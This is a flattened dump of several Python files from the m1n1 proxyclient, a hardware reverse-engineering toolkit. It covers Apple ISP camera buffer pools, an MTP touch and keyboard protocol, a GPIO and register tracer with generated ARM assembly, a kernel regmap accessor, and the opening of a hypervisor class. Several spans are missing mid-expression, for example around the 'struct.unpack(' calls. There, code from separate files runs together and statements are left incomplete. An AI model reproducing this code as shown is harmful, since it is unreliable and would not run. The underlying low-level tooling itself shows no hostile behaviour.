Default(Int32ul, 0), "batch" / Int32ul, "pad" / Default(Int32ul, 0), ) BufH2TSendArgs = Struct( "iova0" / Int32ul, "pad" / Default(Int32ul, 0), "iova1" / Int32ul, "pad" / Default(Int32ul, 0), "pad" / Padding(0x10), "flag0" / Int32ul, "flag1" / Int32ul, "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "unk_30" / Int32ul, "pool" / Int32ul, "tag" / Int32ul, "pad" / Default(Int32ul, 0), ) assert((BufH2TSendArgs.sizeof() == 0x40)) class ISPBufH2TBuffer: def __init__(self, surf0, surf1, buftype, index, args): self.surf0 = surf0 self.surf1 = surf1 self.buftype = buftype self.index = index self.args = args class ISPBufH2TPool: def __init__(self, isp, bufs, header): self.isp = isp self.bufs = bufs self.args = header + b''.join([buf.args for buf in self.bufs]) @classmethod def meta_pool(cls, isp, batch=2): bufs = [] for n in range(10): bufs.append(cls.make_metabuf(isp, n)) header = BufH2TSendArgsHeader.build(dict( unk_0=0x1, batch=batch, )) return cls(isp, bufs, header) @classmethod def yuv_pool(cls, isp, batch=2): bufs = [] for n in range(batch): bufs.append(cls.make_yuvbuf(isp, n)) for n in range(10-batch): bufs.append(cls.make_unkbuf(isp, n+batch)) header = BufH2TSendArgsHeader.build(dict( unk_0=0x1, batch=batch, )) return cls(isp, bufs, header) @staticmethod def make_metabuf(isp, index): # CImageCaptureCore.cpp, 4788: FrontRGB: Cannot get host meta buffer, dropping frame #2 # (461): ISPASC: WRN: ./h10isp/filters/IC/CImageCaptureCore.cpp, 4997: FrontRGB: Host metadata unavailable. # AppleH13CamIn::ISP_SendBuffers_gated - h2tBuf: pool=0, tag=0x13f, addr=0x056A8000, len=17984 # 056a8000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 # 40000000 00000000 00000000 00000000 00000001 00000000 0000013f 00000000 surf = isp.mmger.alloc_size(0x4640, name="META") # 17984 args = BufH2TSendArgs.build(dict( iova0=surf.iova, iova1=0x0, flag0=0x40000000, flag1=0x0, unk_30=0x1, pool=0x0, tag=surf.index, )) return ISPBufH2TBuffer(surf0=surf, surf1=None, buftype=0, index=index, args=args) @staticmethod def make_yuvbuf(isp, index): # FLOW ERR: ./h10isp/filters/Flow/H13/CVideoFlowH13.cpp, 5351: flow=0, ch=0 can't get output yuv buf, dropped frame=0 (1) 0 # AppleH13CamIn::ISP_SendBuffers_gated - h2tBuf: pool=1, tag=0x16e, addr0=0x0754C040, len0=921600, addr1=0x0762D040, len1=460800 # 0754c040 00000000 0762d040 00000000 00000000 00000000 00000000 00000000 # 40000000 40000000 00000000 00000000 00000002 00000001 0000016e 00000000 surf0 = isp.mmger.alloc_size(0xe1000, name="LUMA") # 921600; 1280 * 720 surf1 = isp.mmger.alloc_size(0x70800, name="CBCR") # 460800; 1280 * 360 args = BufH2TSendArgs.build(dict( iova0=surf0.iova, iova1=surf1.iova, flag0=0x40000000, flag1=0x40000000, unk_30=0x2, pool=0x1, tag=surf0.index, )) return ISPBufH2TBuffer(surf0=surf0, surf1=surf1, buftype=1, index=index, args=args) @staticmethod def make_unkbuf(isp, index): # AppleH13CamIn::ISP_SendBuffers_gated - h2tBuf: pool=2, tag=0x165, addr=0x074F8000, len=16960 # 074f8000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 # 40000000 00000000 00000000 00000000 00000001 00000002 00000165 00000000 surf = isp.mmger.alloc_size(0x4240, name="UNK") # 16960 args = BufH2TSendArgs.build(dict( iova0=surf.iova, iova1=0x0, flag0=0x40000000, flag1=0x0, unk_30=0x1, pool=0x2, tag=surf.index, )) return ISPBufH2TBuffer(surf0=surf, surf1=None, buftype=2, index=index, args=args) def send(self): # TX: REQ: [0x1813140, 0x280, 0x30000000] # iova, size, flag # RX: RSP: [0x1813141, 0x000, 0x80000000] # iova, zero, flag req = ISPChannelMessage.build( arg0 = self.isp.cmd_iova, # iova arg1 = 0x280, # size arg2 = 0x30000000, # FFW_INTERPROC_BUFF_EXCHANGE_FLAG_CHECK ) # print("CHAN: BR: TX: REQ: [iova: 0x%x, size: 0x%x, flag: 0x%x]" % (req.arg0, req.arg1, req.arg2)) self.isp.iowrite(req.arg0, self.args) rsp = self.isp.table.bufh2t.send(req) if (rsp == None): self.isp.table.dump() raise RuntimeError("failed to send buf") return rsp class ISPFrameReceiver: def __init__(self, isp, batch=2): assert((batch <= 10)) self.isp = isp self.meta_pool = ISPBufH2TPool.meta_pool(self.isp, batch) self.yuv_pool = ISPBufH2TPool.yuv_pool(self.isp, batch) self.dp = ISPIOCommandDispatcher(self.isp) def work(self): self.yuv_pool.send() self.isp.table.buft2h.handler() self.meta_pool.send() self.isp.table.buft2h.handler() @staticmethod def input_thread(a_list): # https://stackoverflow.com/a/25442391 input() a_list.append(True) def work_loop(self): # self.meta_pool.send() # sent ahead of time a_list = [] _thread.start_new_thread(self.input_thread, (a_list,)) while not a_list: self.work() def stream(self): print("Kicking up hardware...") self.ch_start() print("Starting stream...") self.work_loop() cv2.destroyAllWindows() print("Ended stream.") self.ch_stop() print("Powered down hardware.") def ch_start(self): dp = self.dp dp.cmd_print_enable() dp.cmd_trace_enable() dp.cmd_set_isp_pmu_base() dp.cmd_set_dsid_clr_req_base2() dp.cmd_pmp_ctrl_set() dp.cmd_start() dp.cmd_ch_camera_config_select() dp.cmd_ch_sbs_enable() dp.cmd_ch_crop_set() dp.cmd_ch_output_config_set() dp.cmd_ch_preview_stream_set() dp.cmd_ch_cnr_start() dp.cmd_ch_mbnr_enable() dp.cmd_apple_ch_temporal_filter_start() dp.cmd_apple_ch_motion_history_start() dp.cmd_apple_ch_temporal_filter_enable() dp.cmd_apple_ch_ae_fd_scene_metering_config_set() dp.cmd_apple_ch_ae_metering_mode_set() dp.cmd_ch_ae_stability_set() dp.cmd_ch_ae_stability_to_stable_set() dp.cmd_ch_sif_pixel_format_set() #dp.cmd_ch_buffer_recycle_mode_set() #dp.cmd_ch_buffer_recycle_start() dp.cmd_ch_ae_frame_rate_max_set() dp.cmd_ch_ae_frame_rate_min_set() dp.cmd_ch_buffer_pool_config_set() # call right before cmd_ch_start() as to not drop start frames self.meta_pool.send() dp.cmd_ch_start() def ch_stop(self): dp = self.dp dp.cmd_ch_buffer_recycle_stop() dp.cmd_ch_stop() dp.cmd_stop() m1n1-1.4.11/proxyclient/m1n1/fw/mtp.py000066400000000000000000000271051453754430200173100ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from construct import * from ..constructutils import * from ..utils import * class HIDDescriptor(ConstructClass): subcon = Struct( "descriptor" / HexDump(GreedyBytes) ) class GPIOInit(ConstructClass): subcon = Struct( "unk1" / Int16ul, "gpio_id"/ Int16ul, "gpio_name" / PaddedString(32, "ascii") ) class InitBlock(ConstructClass): subcon = Struct( "type" / Int16ul, "length" / Int16ul, "payload" / FixedSized(this.length, Switch(this.type, { 0: HIDDescriptor, 1: GPIOInit, 2: GreedyBytes, # Unknown 6 bytes terminator 7: GreedyBytes, # Device name }, default=GreedyBytes)) ) class InitMsg(ConstructClass): subcon = Struct( "msg_type" / Const(0xf0, Int8ul), "msg_subtype" / Const(0x01, Int8ul), "unk" / Const(0x00, Int8ul), "device_id" / Int8ul, "device_name" / PaddedString(16, "ascii"), "more_packets" / Int16ul, "msg" / RepeatUntil(lambda obj, lst, ctx: lst[-1].type == 2, InitBlock) ) class DeviceReadyMsg(ConstructClass): subcon = Struct( "msg_type" / Const(0xf1, Int8ul), "device_id" / Int8ul, "unk" / Int16ul ) class GPIORequestMsg(ConstructClass): subcon = Struct( "msg_type" / Const(0xa0, Int8ul), "device_id" / Int8ul, "gpio_num" / Int8ul, "cmd" / Int16ul, "args" / HexDump(GreedyBytes) ) NotificationMsg = Select( DeviceReadyMsg, InitMsg, GPIORequestMsg, HexDump(GreedyBytes), ) class UnkDeviceControlMsg(ConstructClass): subcon = Struct( "command" / Int8ul, "args" / HexDump(GreedyBytes), ) class DeviceEnableMsg(ConstructClass): subcon = Struct( "command" / Const(0xb4, Int8ul), "device_id" / Int8ul, ) class DeviceResetMsg(ConstructClass): subcon = Struct( "command" / Const(0x40, Int8ul), "unk1" / Int8ul, "device_id" / Int8ul, "state" / Int8ul, ) class InitBufMsg(ConstructClass): subcon = Struct( "command" / Const(0x91, Int8ul), "unk1" / Int8ul, "unk2" / Int8ul, "buf_addr" / Int64ul, "buf_size" / Int32ul, ) class InitAFEMsg(ConstructClass): subcon = Struct( "command" / Const(0x95, Int8ul), "unk1" / Int8ul, "unk2" / Int8ul, "iface" / Int8ul, "buf_addr" / Int64ul, "buf_size" / Int32ul, ) class UnkMsgC1(ConstructClass): subcon = Struct( "command" / Const(0xc1, Int8ul), "unk1" / Int8ul, ) class GPIOAckMsg(ConstructClass): subcon = Struct( "command" / Const(0xa1, Int8ul), "unk" / Int32ul, "msg" / GPIORequestMsg, ) DeviceControlMsg = Select( DeviceEnableMsg, DeviceResetMsg, InitAFEMsg, InitBufMsg, UnkMsgC1, UnkDeviceControlMsg ) class DeviceControlAck(ConstructClass): subcon = Struct( "command" / Int8ul ) class MessageHeader(ConstructClass): subcon = Struct( "flags" / Int16ul, "length" / Int16ul, "retcode" / Int32ul, ) class TXMessage(ConstructClass): subcon = Struct( "hdr" / MessageHeader, "msg" / FixedSized(this.hdr.length, Switch(this.hdr.flags, { 0x40: HexDump(GreedyBytes), 0x80: DeviceControlMsg, 0x81: Int8ul, })) ) def __init__(self): self.hdr = MessageHeader() class RXMessage(ConstructClass): subcon = Struct( "hdr" / MessageHeader, "msg" / FixedSized(this.hdr.length, HexDump(GreedyBytes)), ) class MTPInterface: def __init__(self, proto, iface): self.proto = proto self.iface = iface self.tx_seq = 0 self.initialized = False self.gpios = {} def send(self, msg): self.proto.send(self.iface, self.tx_seq & 0xff, msg) self.tx_seq += 1 def get_report(self, idx): msg = TXMessage() msg.hdr.flags = 0x81 msg.hdr.length = 1 msg.hdr.retcode = 0 msg.msg = idx self.send(msg.build()) def packet(self, pkt): self.log(f"RX: {pkt.hex()}") def log(self, s): self.proto.log(f"[{self.NAME}] " + s) def initialize(self): self.proto.comm.enable_device(self.iface) def report(self, msg): self.log(f"report: {msg.hex()}") def ack(self, msg): self.log(f"ack: {msg.hex()}") def unk(self, msg): self.log(f"unk: {msg.hex()}") def packet(self, pkt): msg = RXMessage.parse(pkt) mtype = msg.hdr.flags #self.log(f"FL:{msg.hdr.flag s:04x} unk:{msg.hdr.unk:08x}") if mtype == 0x00: self.report(msg.msg) elif mtype == 0x80: self.ack(msg.hdr.retcode, msg.msg) elif mtype == 0x81: self.log(f"REPORT") chexdump(msg.msg, print_fn=self.log) elif mtype == 0x40: self.unk(msg.msg) def __str__(self): return f"{self.iface}/{self.NAME}" class MTPCommInterface(MTPInterface): NAME = "comm" def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.last_cmd = None self.gpios = {} def device_control(self, dcmsg): while self.last_cmd is not None: self.proto.work() msg = TXMessage() msg.hdr.flags = 0x80 msg.hdr.length = len(dcmsg.build()) msg.hdr.retcode = 0 msg.msg = dcmsg #self.log(f"Send device control {dcmsg}") self.last_cmd = dcmsg.command self.send(msg.build()) while self.last_cmd is not None: self.proto.work() def enable_device(self, iface): msg = DeviceEnableMsg() msg.device_id = iface self.device_control(msg) def report(self, msg): msg = NotificationMsg.parse(msg) if isinstance(msg, DeviceReadyMsg): iface = self.proto.iface[msg.device_id] iface.initialized = True self.log(f"{iface}: init complete") elif isinstance(msg, InitMsg): iface = self.proto.get_interface(msg.device_id, msg.device_name) for blk in msg.msg: if isinstance(blk.payload, HIDDescriptor): self.log(f"Got HID descriptor for {iface}:") iface.descriptor = blk.payload.descriptor self.log(hexdump(iface.descriptor)) elif isinstance(blk.payload, GPIOInit): self.log(f"GPIO Init: {blk.payload}") prop = getattr(self.proto.node[msg.device_name], f"function-{blk.payload.gpio_name}".replace("-", "_")) key = struct.pack(">I", prop.args[0]).decode("ascii") val = prop.args[1] self.log(f"GPIO key: {key}") self.gpios[(msg.device_id, blk.payload.gpio_id)] = key, val if not msg.more_packets: iface.initialize() elif isinstance(msg, GPIORequestMsg): self.log(f"GPIO request: {msg}") smcep = self.proto.smc.epmap[0x20] key, val = self.gpios[(msg.device_id, msg.gpio_num)] if msg.cmd == 3: smcep.write32(key, val | 1) smcep.write32(key, val) ackmsg = GPIOAckMsg() ackmsg.unk = 0 ackmsg.msg = msg self.device_control(ackmsg) else: self.log("Unknown message!") print(msg) def ack(self, retcode, msg): msg = DeviceControlAck.parse(msg) self.log(f"Got ACK for {msg.command:#x}: {retcode:08x}") assert msg.command == self.last_cmd self.last_cmd = None def init_afe(self, iface, data): paddr, dva = self.proto.mtp.ioalloc(len(data)) self.proto.u.iface.writemem(paddr, data) afemsg = InitAFEMsg() afemsg.unk1 = 2 afemsg.unk2 = 0 afemsg.iface = iface afemsg.buf_addr = dva afemsg.buf_size = len(data) self.device_control(afemsg) def device_reset(self, iface, unk1, state): self.log(f"device_reset({iface}, {unk1}, {state})") rmsg = DeviceResetMsg() rmsg.device_id = iface rmsg.unk1 = unk1 rmsg.state = state self.device_control(rmsg) class MTPHIDInterface(MTPInterface): pass class MTPMultitouchInterface(MTPHIDInterface): NAME = "multi-touch" def initialize(self): super().initialize() #data = open("afe.bin", "rb").read() #self.proto.comm.init_afe(self.iface, data) #self.proto.comm.device_reset(self.iface, 1, 0) #self.proto.comm.device_reset(self.iface, 1, 2) class MTPKeyboardInterface(MTPHIDInterface): NAME = "keyboard" class MTPSTMInterface(MTPHIDInterface): NAME = "stm" class MTPActuatorInterface(MTPHIDInterface): NAME = "actuator" class MTPTPAccelInterface(MTPHIDInterface): NAME = "tp_accel" class MTPProtocol: INTERFACES = [ MTPCommInterface, MTPMultitouchInterface, MTPKeyboardInterface, MTPSTMInterface, MTPActuatorInterface, MTPTPAccelInterface, ] def __init__(self, u, node, mtp, dockchannel, smc): self.node = node self.smc = smc self.u = u self.mtp = mtp self.dockchannel = dockchannel self.iface = {} # Add initial comm interface self.get_interface(0, "comm") def get_interface(self, iface, name): if iface in self.iface: return self.iface[iface] for cls in self.INTERFACES: if cls.NAME == name: break else: self.log(f"Unknown interface name {name}") return None obj = cls(self, iface) self.iface[iface] = obj setattr(self, name.replace("-", "_"), obj) return obj def checksum(self, d): assert len(d) % 4 == 0 c = len(d) // 4 return 0xffffffff - sum(struct.unpack(f"<{c}I", d)) & 0xffffffff def read_pkt(self): self.mtp.work_pending() hdr = self.dockchannel.read(8) hlen, mtype, size, ctr, devid, pad = struct.unpack(" {dva:#x} [{size:#x}]") maps.append(struct.pack("I", self.read(key, 4))[0] def read32f(self, key): return struct.unpack(" 0 self.div = div self.cbuf = self.u.malloc(0x1000) self.dbuf = None self.on_pin_change = on_pin_change self.on_reg_change = on_reg_change self.p.mmu_init_secondary(cpu) self.tfreq = u.mrs(CNTFRQ_EL0) def load_regmap(self, regmap, skip=set(), regs=set()): base = regmap._base for name, (addr, rcls) in regmap._namemap.items(): if name not in skip and (not regs or name in regs): self.regs[name] = base + addr, rcls def start(self, ticks, bufsize=0x10000): self.bufsize = bufsize if self.dbuf: self.u.free(self.dbuf) self.dbuf = self.u.malloc(bufsize) text = f""" trace: mov x16, x2 add x3, x3, x2 add x2, x2, #4 mov x12, #-8 mov x10, x2 mov x6, #-1 mov x7, #0 ldr x8, ={self.base} mrs x4, CNTPCT_EL0 isb 1: ldr w15, [x16] cmp w15, #1 b.eq done add x4, x4, x1 2: mrs x5, CNTPCT_EL0 isb """ if self.div > 1: text += f""" cmp x5, x4 b.lo 2b """ for idx, pin in enumerate(self.pins.values()): text += f""" ldr w9, [x8, #{pin * 4}] bfi x7, x9, #{idx}, #1 """ if self.on_pin_change: text += f""" cmp x7, x6 b.eq 3f mov x6, x7 """ if self.on_reg_change: text += f""" mov x11, x2 """ text += f""" str w5, [x2], #4 str w7, [x2], #4 """ if self.on_reg_change: text += f""" mov x13, #0 add x14, x12, #8 """ for reg in self.regs.values(): if isinstance(reg, tuple): reg = reg[0] text += f""" ldr x9, ={reg} ldr w9, [x9] str w9, [x2], #4 """ if self.on_reg_change: text += f""" eor w15, w9, #1 cmp x14, #0 b.eq 4f ldr w15, [x14], #4 4: eor w15, w15, w9 orr w13, w13, w15 """ if self.on_reg_change: text += f""" cmp x13, #0 b.ne 4f mov x2, x11 mov x11, x12 b 3f 4: """ text += f""" mov x12, x11 cmp x2, x3 b.hs done 3: sub x0, x0, #1 cbnz x0, 1b done: sub x0, x2, x10 ret """ code = asm.ARMAsm(text, self.cbuf) self.iface.writemem(self.cbuf, code.data) self.p.dc_cvau(self.cbuf, len(code.data)) self.p.ic_ivau(self.cbuf, len(code.data)) self.p.write32(self.dbuf, 0) self.p.smp_call(self.cpu, code.trace | REGION_RX_EL1, ticks, self.div, self.dbuf, bufsize - (8 + 4 * len(self.regs))) def complete(self): self.p.write32(self.dbuf, 1) wrote = self.p.smp_wait(self.cpu) assert wrote <= self.bufsize data = self.iface.readmem(self.dbuf + 4, wrote) self.u.free(self.dbuf) self.dbuf = None stride = 2 + len(self.regs) #chexdump(data) self.data = [struct.unpack("<" + "I" * stride, data[i:i + 4 * stride]) for i in range(0, len(data), 4 * stride)] def vcd(self): off = self.data[0][0] if False: #len(self.data) > 1: off2 = max(0, ((self.data[1][0] - off) & 0xffffffff) - 5000) else: off2 = 0 #print(off, off2) vcd = [] vcd.append(""" $timescale 1ns $end $scope module gpio $end """) sym = 0 keys = [] rkeys = [] for name in self.pins: keys.append(f"s{sym}") vcd.append(f"$var wire 1 s{sym} {name} $end\n") sym += 1 for name, reg in self.regs.items(): vcd.append(f"$var reg 32 s{sym} {name} [31:0] $end\n") if isinstance(reg, tuple): subkeys = {} rcls = reg[1] rkeys.append((f"s{sym}", rcls, subkeys)) sym += 1 for fname in rcls().fields.keys(): fdef = getattr(rcls, fname) if isinstance(fdef, tuple): width = fdef[0] - fdef[1] + 1 else: width = 1 vcd.append(f"$var reg {width} s{sym} {name}.{fname} [{width-1}:0] $end\n") subkeys[fname] = (width, f"s{sym}") sym += 1 else: rkeys.append((f"s{sym}", None, None)) sym += 1 vcd.append(""" $enddefinitions $end $dumpvars """) for v in self.data: ts = v[0] val = v[1] regs = v[2:] ts = ((ts - off) & 0xffffffff) - off2 ns = max(0, 1000000000 * ts // self.tfreq) vcd.append(f"#{ns}\n") vcd.append("\n".join(f"{(val>>i) & 1}{k}" for i, k in enumerate(keys)) + "\n") for (key, rcls, subkeys), v in zip(rkeys, regs): vcd.append(f"b{v:032b} {key}\n") if rcls: rval = rcls(v) for field, (width, key) in subkeys.items(): v = getattr(rval, field) vcd.append(f"b{v:0{width}b} {key}\n") ns += ns//10 vcd.append(f"#{ns}\n" + "\n".join(f"{(val>>i) & 1}{k}" for i, k in enumerate(keys)) + "\n") return "".join(vcd) def show(self): with open("/tmp/dump.vcd", "w") as fd: fd.write(self.vcd()) gtkw = (""" [dumpfile] "/tmp/dump.vcd" [timestart] 0 [size] 3063 1418 [pos] -1 -1 *-17.000000 2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 [sst_width] 288 [signals_width] 197 [sst_expanded] 1 [sst_vpaned_height] 421 @23 """ + "\n".join("gpio." + k for k in self.pins) + "\n" + "\n".join("gpio." + k + "[31:0]" for k in self.regs) + "\n") with open("/tmp/dump.gtkw", "w") as fd: fd.write(gtkw) os.system("gtkwave /tmp/dump.gtkw&") m1n1-1.4.11/proxyclient/m1n1/hostutils.py000066400000000000000000000061421453754430200201300ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from pathlib import Path import os class KernelRegmapAccessor: def __init__(self, name): self.path = self._find_path(name) self.read_ranges() self.read_linelen() @classmethod def _find_path(cls, name): basedir = Path("/sys/kernel/debug/regmap") if (path := Path(name)).exists(): return path elif (path := basedir.joinpath(name)).exists(): return path elif name in (available := cls._list_regmaps(basedir)): return available[name] else: raise ValueError(f"kernel regmap not found: {name}") @classmethod def _list_regmaps(cls, basedir): return { p.joinpath("name").open("rb").read().strip().decode(): p for p in basedir.iterdir() if p.is_dir() } def open_node(self, name, mode="rb", **kwargs): return self.path.joinpath(name).open(mode, **kwargs) def read_ranges(self): with self.open_node("range") as f: self.ranges = [ range(int(a, 16), int(b, 16) + 1) for a, b in (l.strip().split(b"-") for l in f) ] def read_linelen(self): with self.open_node("registers", buffering=0) as f: l = f.read(64).split(b"\n")[0] valstr = l.split(b":")[1].strip() self.linelen = len(l) + 1 self.working_width = len(valstr) * 4 def _find_off(self, reg): off = 0 for r in self.ranges: if reg >= r.stop: off += r.stop - r.start else: off += reg - r.start break if reg not in r: raise ValueError(f"register {reg:04x} out of range") return off * self.linelen def _read(self, reg, width=None): assert width == self.working_width with self.open_node("registers", buffering=0) as f: f.seek(self._find_off(reg)) l = f.read(self.linelen) regstr, valstr = l.split(b":") assert int(regstr, 16) == reg return int(valstr, 16) def read(self, reg, width=None): assert width % self.working_width == 0 ret = 0 for off in range(0, width // 8, self.working_width // 8): ret |= self._read(reg + off, self.working_width) << (8 * off) return ret def _write(self, reg, val, width=None): assert width == self.working_width with self.open_node("registers", mode="wb") as f: f.write(f"{reg:x} {val:x}".encode()) def write(self, reg, val, width=None): assert width % self.working_width == 0 for off in range(0, width // 8, self.working_width // 8): self._write(reg + off, val >> (8 * off), self.working_width) def require_debugfs(): if os.path.ismount("/sys/kernel/debug"): return os.system("mount -t debugfs none /sys/kernel/debug") if __name__ == "__main__": require_debugfs() from m1n1.hw.codecs import TAS5770Regs tas = TAS5770Regs(KernelRegmapAccessor("tas2770"), 0) import code code.interact(local=locals()) m1n1-1.4.11/proxyclient/m1n1/hv/000077500000000000000000000000001453754430200161325ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/hv/__init__.py000066400000000000000000002041071453754430200202470ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import io, sys, traceback, struct, array, bisect, os, plistlib, signal, runpy from construct import * from ..asm import ARMAsm from ..tgtypes import * from ..proxy import IODEV, START, EVENT, EXC, EXC_RET, ExcInfo from ..utils import * from ..sysreg import * from ..macho import MachO from ..adt import load_adt from .. import xnutools, shell from .gdbserver import * from .types import * from .virtutils import * from .virtio import * __all__ = ["HV"] class HV(Reloadable): PAC_MASK = 0xfffff00000000000 PTE_VALID = 1 << 0 PTE_MEMATTR_UNCHANGED = 0b1111 << 2 PTE_S2AP_RW = 0b11 << 6 PTE_SH_NS = 0b11 << 8 PTE_ACCESS = 1 << 10 PTE_ATTRIBUTES = PTE_ACCESS | PTE_SH_NS | PTE_S2AP_RW | PTE_MEMATTR_UNCHANGED SPTE_TRACE_READ = 1 << 63 SPTE_TRACE_WRITE = 1 << 62 SPTE_TRACE_UNBUF = 1 << 61 SPTE_MAP = 0 << 50 SPTE_HOOK = 1 << 50 SPTE_PROXY_HOOK_R = 2 << 50 SPTE_PROXY_HOOK_W = 3 << 50 SPTE_PROXY_HOOK_RW = 4 << 50 MSR_REDIRECTS = { SCTLR_EL1: SCTLR_EL12, TTBR0_EL1: TTBR0_EL12, TTBR1_EL1: TTBR1_EL12, TCR_EL1: TCR_EL12, ESR_EL1: ESR_EL12, FAR_EL1: FAR_EL12, AFSR0_EL1: AFSR0_EL12, AFSR1_EL1: AFSR1_EL12, MAIR_EL1: MAIR_EL12, AMAIR_EL1: AMAIR_EL12, CONTEXTIDR_EL1: CONTEXTIDR_EL12, ACTLR_EL1: ACTLR_EL12, AMX_CONFIG_EL1: AMX_CONFIG_EL12, SPRR_CONFIG_EL1: SPRR_CONFIG_EL12, SPRR_PPERM_EL1: SPRR_PPERM_EL12, SPRR_UPERM_EL0: SPRR_UPERM_EL02, SPRR_AMRANGE_EL1: SPRR_AMRANGE_EL12, SPRR_UMPRR_EL1: SPRR_UMPRR_EL12, APCTL_EL1: APCTL_EL12, APSTS_EL1: APSTS_EL12, KERNKEYLO_EL1: KERNKEYLO_EL12, KERNKEYHI_EL1: KERNKEYHI_EL12, GXF_CONFIG_EL1: GXF_CONFIG_EL12, GXF_PABENTRY_EL1: GXF_PABENTRY_EL12, GXF_ENTRY_EL1: GXF_ENTRY_EL12, VBAR_GL1: VBAR_GL12, SPSR_GL1: SPSR_GL12, ASPSR_GL1: ASPSR_GL12, ESR_GL1: ESR_GL12, ELR_GL1: ELR_GL12, } AIC_EVT_TYPE_HW = 1 IRQTRACE_IRQ = 1 def __init__(self, iface, proxy, utils): self.iface = iface self.p = proxy self.u = utils self.pac_mask = self.PAC_MASK self.user_pac_mask = self.PAC_MASK self.vbar_el1 = None self.want_vbar = None self.vectors = [None] self._bps = [None, None, None, None, None] self._bp_hooks = dict() self._wps = [None, None, None, None] self._wpcs = [0, 0, 0, 0] self.sym_offset = 0 self.symbols = [] self.symbol_dict = {} self.sysreg = {0: {}} self.novm = False self._in_handler = False self._sigint_pending = False self._in_shell = False self._gdbserver = None self.vm_hooks = [None] self.interrupt_map = {} self.mmio_maps = DictRangeMap() self.dirty_maps = BoolRangeMap() self.tracer_caches = {} self.shell_locals = {} self.xnu_mode = False self._update_shell_locals() self.wdt_cpu = None self.smp = True self.hook_exceptions = False self.started_cpus = {} self.started = False self.ctx = None self.hvcall_handlers = {} self.switching_context = False self.show_timestamps = False self.virtio_devs = {} def _reloadme(self): super()._reloadme() self._update_shell_locals() def _update_shell_locals(self): self.shell_locals.update({ "hv": self, "iface": self.iface, "p": self.p, "u": self.u, "trace": trace, "TraceMode": TraceMode, }) for attr in dir(self): a = getattr(self, attr) if callable(a): self.shell_locals[attr] = getattr(self, attr) self.shell_locals["ctx"] = self.context def log(self, s, *args, show_cpu=True, **kwargs): if self.ctx is not None and show_cpu: ts="" if self.show_timestamps: ts = f"[{self.u.mrs(CNTPCT_EL0):#x}]" print(ts+f"[cpu{self.ctx.cpu_id}] " + s, *args, **kwargs) if self.print_tracer.log_file: print(f"# {ts}[cpu{self.ctx.cpu_id}] " + s, *args, file=self.print_tracer.log_file, **kwargs) else: print(s, *args, **kwargs) if self.print_tracer.log_file: print("# " + s, *args, file=self.print_tracer.log_file, **kwargs) def unmap(self, ipa, size): assert self.p.hv_map(ipa, 0, size, 0) >= 0 def map_hw(self, ipa, pa, size): '''map IPA (Intermediate Physical Address) to actual PA''' #print(f"map_hw {ipa:#x} -> {pa:#x} [{size:#x}]") if (ipa & 0x3fff) != (pa & 0x3fff): self.map_sw(ipa, pa, size) return ipa_p = align_up(ipa) if ipa_p != ipa: self.map_sw(ipa, pa, min(ipa_p - ipa, size)) pa += ipa_p - ipa size -= ipa_p - ipa if size <= 0: return size_p = align_down(size) if size_p > 0: #print(f"map_hw real {ipa_p:#x} -> {pa:#x} [{size_p:#x}]") assert self.p.hv_map(ipa_p, pa | self.PTE_ATTRIBUTES | self.PTE_VALID, size_p, 1) >= 0 if size_p != size: self.map_sw(ipa_p + size_p, pa + size_p, size - size_p) def map_sw(self, ipa, pa, size): #print(f"map_sw {ipa:#x} -> {pa:#x} [{size:#x}]") assert self.p.hv_map(ipa, pa | self.SPTE_MAP, size, 1) >= 0 def map_hook(self, ipa, size, read=None, write=None, **kwargs): index = len(self.vm_hooks) self.vm_hooks.append((read, write, ipa, kwargs)) self.map_hook_idx(ipa, size, index, read is not None, write is not None) def map_hook_idx(self, ipa, size, index, read=False, write=False, flags=0): if read: if write: t = self.SPTE_PROXY_HOOK_RW else: t = self.SPTE_PROXY_HOOK_R elif write: t = self.SPTE_PROXY_HOOK_W else: assert False assert self.p.hv_map(ipa, (index << 2) | flags | t, size, 0) >= 0 def readmem(self, va, size): '''read from virtual memory''' with io.BytesIO() as buffer: while size > 0: pa = self.p.hv_translate(va, False, False) if pa == 0: break size_in_page = 4096 - (va % 4096) if size < size_in_page: buffer.write(self.iface.readmem(pa, size)) break buffer.write(self.iface.readmem(pa, size_in_page)) va += size_in_page size -= size_in_page return buffer.getvalue() def writemem(self, va, data): '''write to virtual memory''' written = 0 while written < len(data): pa = self.p.hv_translate(va, False, True) if pa == 0: break size_in_page = 4096 - (va % 4096) if len(data) - written < size_in_page: self.iface.writemem(pa, data[written:]) written = len(data) break self.iface.writemem(pa, data[written:written + size_in_page]) va += size_in_page written += size_in_page return written def trace_irq(self, device, num, count, flags): for n in range(num, num + count): if flags & self.IRQTRACE_IRQ: self.interrupt_map[n] = device else: self.interrupt_map.pop(n, None) start, size = self.adt["/arm-io/aic"].get_reg(0) zone = irange(start, size) if len(self.interrupt_map): self.add_tracer(zone, "AIC_IRQ", TraceMode.RESERVED) else: self.del_tracer(zone, "AIC_IRQ") assert self.p.hv_trace_irq(self.AIC_EVT_TYPE_HW, num, count, flags) > 0 def add_tracer(self, zone, ident, mode=TraceMode.ASYNC, read=None, write=None, **kwargs): assert mode in (TraceMode.RESERVED, TraceMode.OFF, TraceMode.BYPASS) or read or write self.mmio_maps[zone, ident] = (mode, ident, read, write, kwargs) self.dirty_maps.set(zone) def del_tracer(self, zone, ident): del self.mmio_maps[zone, ident] self.dirty_maps.set(zone) def clear_tracers(self, ident): for r, v in self.mmio_maps.items(): if ident in v: v.pop(ident) self.dirty_maps.set(r) def trace_device(self, path, mode=TraceMode.ASYNC, ranges=None): node = self.adt[path] for index in range(len(node.reg)): if ranges is not None and index not in ranges: continue addr, size = node.get_reg(index) self.trace_range(irange(addr, size), mode) def trace_range(self, zone, mode=TraceMode.ASYNC, read=True, write=True, name=None): if mode is True: mode = TraceMode.ASYNC if mode and mode != TraceMode.OFF: self.add_tracer(zone, "PrintTracer", mode, self.print_tracer.event_mmio if read else None, self.print_tracer.event_mmio if write else None, start=zone.start, name=name) else: self.del_tracer(zone, "PrintTracer") def pt_update(self): if not self.dirty_maps: return 